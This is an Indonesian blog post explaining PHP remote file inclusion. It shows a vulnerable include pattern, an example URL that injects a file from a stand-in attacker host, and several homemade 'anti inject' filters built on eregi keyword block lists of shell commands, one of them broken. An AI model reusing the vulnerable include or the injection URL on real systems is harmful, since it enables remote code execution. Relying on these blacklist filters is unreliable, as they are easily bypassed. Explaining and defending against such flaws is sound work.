Live Journal

All About Log

Ada apa Dengan PHP Inject

Sangat banyak kita temukan bug php dimana pengunjung bisa melakukan remote inclusion (inject). Nah.. kita akan mencoba membahasnya yah… Maaf kalo nanti ada kekurangan di sana sini.. h4ntu bukan manusia… hehehhe

1. Fungsi include, include_once, require, require_once adalah penyebab utama terjadinya inject. Tentu saja bukan ini saja yang menyababkan file bisa di inject.

2. Variable. Berbentuk $nama_variable. Pendukung terjadinya inject. Terutama variable yang tidak ditentukan nilainya

Contoh : index.php
Code:

<?
if (isset ($pilih)) {include $pilih;}
else {include “main.php”;}
?>

Nah… coding seperti ini (mirip dengan auracms versi lama) bisa diinject http://site.com/index.php?pilih=http://attacker.com/inject.txt?

Anti inject:
Mambo :
Code:
defined( ‘_VALID_MOS’ ) or die( ‘Direct Access to this location is not allowed.’ );

PHPBB :
Code:
if ( !defined(‘IN_PHPBB’) ) { die(“Hacking attempt”); }

Batam HaCk :
Code:
<? if (eregi (“http”, $variable)){exit;} ?>

By Leo modip by iDiots
<?php
$array_dari_url = $_GET;

// ini isi aja dengan perintah shell yang ga bole dieksekusi
$array_dari_nilai_nilai_yg_ga_diizinin = array ( ‘ls’ , ‘cat’ , ‘id’ , ‘tambah sendiri’ );

foreach( $array_dari_url as $variabel_kotor )
{
foreach( $array_dari_nilai_nilai_yg_ga_diizinin as $nilai_terlarang )
if ( eregi( $nilai_terlarang , $variabel_kotor ) )
{
exit;
}
}
?>

By Leo modip by iDiots

<?php
$array_dari_url = $_GET;
// ini isi aja dengan perintah shell yang ga bole dieksekusi
$array_dari_nilai_nilai_yg_ga_diizinin = array ( ‘ls’ , ‘cat’ , ‘id’ , ‘tambah sendiri’ );
// ini isi aja variabel yang harus diperiksa
$array_dari_nama_variabel_yang_harus_diperiksa = array( ‘image’ , ‘import’ , ‘tambah sendiri’ );
foreach( $array_dari_url as $nama_variabel => $isi_variabel )
{
foreach ( $array_dari_nama_variabel_yang_harus_diperiksa as $nama_variabel_yg_periksa )
{
if ( $nama_variabel == $nama_variabel_yg_periksa )
{
foreach( $array_dari_nilai_nilai_yg_ga_diizinin as $nilai_terlarang )
{
if ( eregi( $nilai_terlarang , $isi_variabel ) )
{
exit;
}
}
}
}
echo $isi_variabel.” ===> ok beibeh!<br>”;
}
?>

iDiots

<?

if (eregi (“http”, #da_path)) { die(“sorry haCker, you syntax error”); }
?>

sebagian besar isi post ini di kutip dari batam haCker forum

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: